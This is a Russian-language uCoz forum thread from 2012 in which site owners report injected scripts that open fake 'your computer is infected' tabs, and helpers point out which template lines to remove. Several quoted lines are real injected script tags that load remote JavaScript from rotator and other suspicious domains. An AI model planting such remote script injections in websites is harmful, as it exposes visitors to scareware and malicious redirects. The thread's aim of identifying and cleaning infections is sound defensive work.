Чат сообщества
   | |
| Модератор форума: Yuri_G |
| Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах_2 (для изучения) |
| Вирусы на сайтах_2 |
|
Admin0913, Начнём по порядку:
Должно быть прописано только одно значение! Добавлено (04-Фев-2012, 16:00:14) --------------------------------------------- Quote <script type="text/javascript" src="http://адрес_Вашего_сайта/имя_папки/swfobject.js"></script><script type="text/javascript">var flashvars = {};flashvars.mode = 'tags';flashvars.minFontSize = '8';flashvars.maxFontSize = '14';flashvars.tcolor = '0x1D3D61';flashvars.tcolor2 = '0x4D6D91';flashvars.hicolor = '0x193978';flashvars.distr = 'true';flashvars.tspeed = '100';eTagz = document.getElementById('yoblako').getElementsByTagName('A');flashvars.tagcloud = '<tags>';for (var i=0; eTagz[i]; ++i) flashvars.tagcloud += '<a href=\'' + eTagz[i].getAttribute('href')+ '\' style=\'' + parseInt(eTagz[i].style.fontSize)+ '\'>' + eTagz[i].innerHTML.replace(/&/gi, '%26') + '</a>';delete eTagz;flashvars.tagcloud += '</tags>';var params = {};params.wmode = 'transparent';params.bgcolor = '#FFFFFF';params.allowscriptaccess = 'always';var attributes = {};attributes.id = 'yoblako';attributes.name = 'tagcloud';swfobject.embedSWF('http://адрес_Вашего_сайта/имя_папки/tagcloud.swf', 'yoblako', '200', '200', '9.0.0', false, flashvars, params, attributes);</script> тут явно что то не то! ) <script type="text/javascript" src="http://themeforall.ru/javascript.js"></script> ведёт на пустую страницу Сообщение отредактировал bandjuk - Суббота, 04 Фев 2012, 16:08:41
|
|
|
|
Admin0913, в дополнение к пердыдущему оратору
удалите вот этот чужой информер Code <script type="text/javascript" src="http://ibrowsers.net/informer/2"></script> далее удалите мусор от скриптбокс Code <script type="text/javascript" src="http://scriptbox.ucoz.ru/scriptbox_sc/optimez_internet.js"></script> лучше удалить после всех этим манипуляций опишите вашу проблему подробнее. что именно реагирует на сайт и что пишет при этом. у вас очень много инородного мусора. |
|
Здравствуйте!
1) Сайт: www.anibox.ru 2) Проблема на всех страницах сайта, у всех пользователей. При первом клике на странице открывается новая вкладка, в которой говорится, что компьютер заражен...  Нашел код <script language="javascript" src="http://uno.wt-rotator.biz/?t=rot&noadult=1&pid=35739"></script> Этой ночью удалил этот код с помощью быстрой замены участков шаблона... сегодня днём захожу и вижу тот же код, удаляю его еще раз и через какое-то время он вновь появляется... Как мне его правильно удалить раз и навсегда?! P.S Вирус появился вчера днём, а я уже давно никаких скриптов не загружал и вообще ничего не делал по сайту... как он мог попасть на сайт? Прикрепления:
3959685.png
(89.7 Kb)
|
|
bandjuk, Удалил, он появился опять (в том же месте)
-------------------------------- Создал новый глобальный блок, скрипт-вирус появился там снова... Сообщение отредактировал Dominik4369 - Суббота, 04 Фев 2012, 23:59:08
|
|
Доброго времени суток! Столкнулась с той же проблемой, что и Dominik4369, ещё вчера вечером аборигены стали жаловаться на вылезания в новом окне, как у Dominik4369 в посте чуть выше ( //forum.ucoz.ru/forum/45-34556-810619-16-1328366637 ) только с другим адресом:
НТТП ://glad-intro.info/zakachay/antivirus/ Но картинка практически та же. И у меня тоже вылезла несколько раз. Почитала вашу тему и нашла у себя на всех ТРЕХ сайтах одно и то же, в верхней части сайта засело: Code <script language="javascript" src="http://uno.wt-rotator15.ru/?t=br&noadult=1&pid=40142"></script> В самом верху, первой строкой!!!!!! Когда только сообщили о выскакивании этого, проверила один из сайтов через virustotal.com и он показал проблемы на Dr.Web. После удаления кодов вверху сайта, проверила опять, всё в норме! Уж извините за пространные рассуждения, но у меня вопрос, ЧТО ЭТО БЫЛО и не повторится ли это... Тем более, что оказалась такая проблема не только у меня. И если не сложно, гляньте, может ещё что нехорошее есть http://klubok51.my1.ru http://www.magic-dom.ru http://www.1000узоров.рф Особого предпочтения страниц у этого вирусоподобного не заметила. И гости или пользователи? увы не знаю... Посмотрите, пожалуйста, а то как-то не по себе... |
|
Здравствуйте!
1) Сайт: http://pechenegi-rvo.ucoz.ua 2) При открытие сайта появляется окно, что сайт содержит вирусы. Помогите избавиться от них. |
|
Uchiha_Demian, из формы входа выделенное красным удалить
Quote height="19" width="19" >Логин</td><td><script src="http://izizi.ru/1.js" type="text/javascript"></script> в блоке с часами удалите битое Quote <!-- <block6> --> <script type="text/javascript" src="http://wallaby.ucoz.ru/js_template/clock_cool.js"></script> <center><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" id="banner_help" name="banner_help" align="middle" width="150" height="150"> <b> |
|
anansy, ваши сайты просто затыканы рекламой. вебротатор был одним из способов заработать?
на сайте http://www.magic-dom.ru/ Quote <STRONG>Бисеринка</STRONG></span></a>]</div></li></div></td><script language="javascript" src="http://uno.wt-rotator.biz/?t=rot&noadult=1&pid=35739"></script> |
|
Добрый день!
Мой сайт http://demar.ucoz.ua/. Сегодня "гость" мне сообщил, что сайт зараженный трояном. Я проверила его на http://2ip.ru и мне выдало, что На сайте обнаружены iframe-вставки, ссылающиеся на сомнительные сайты либо обфусицированный код. Проверяла также и на других он-лайн антивирусах, но ничего подозрительно нет, пишут "Сайт чистый" Помогите разобраться, плиз!!!! Сообщение отредактировал DEMAR8051 - Воскресенье, 05 Фев 2012, 16:15:54
|
|
DEMAR8051, вот читайте
внимание всем кто занимается проверками сайтов на наличие вирусов на сервисах на подобии 2ip.ru!!!! не пишите в эту тему результаты проверки подобных сервисов с текстами : Quote На сайте обнаружены iframe-вставки, ссылающиеся на сомнительные сайты либо обфусицированный код. любой ифрейм они помечают как вредоносный. на юкозе есть два системных ифрейма! это рекламный блок для гостей и мини-чат, который тоже выводится ифреймом. эти два ифрейма безопасны! сервисы на подобии 2ip.ru на совершенно чистом сайте могут вывести предупреждение о подозрениях на вирусы только из-за системных ифреймов |
| |||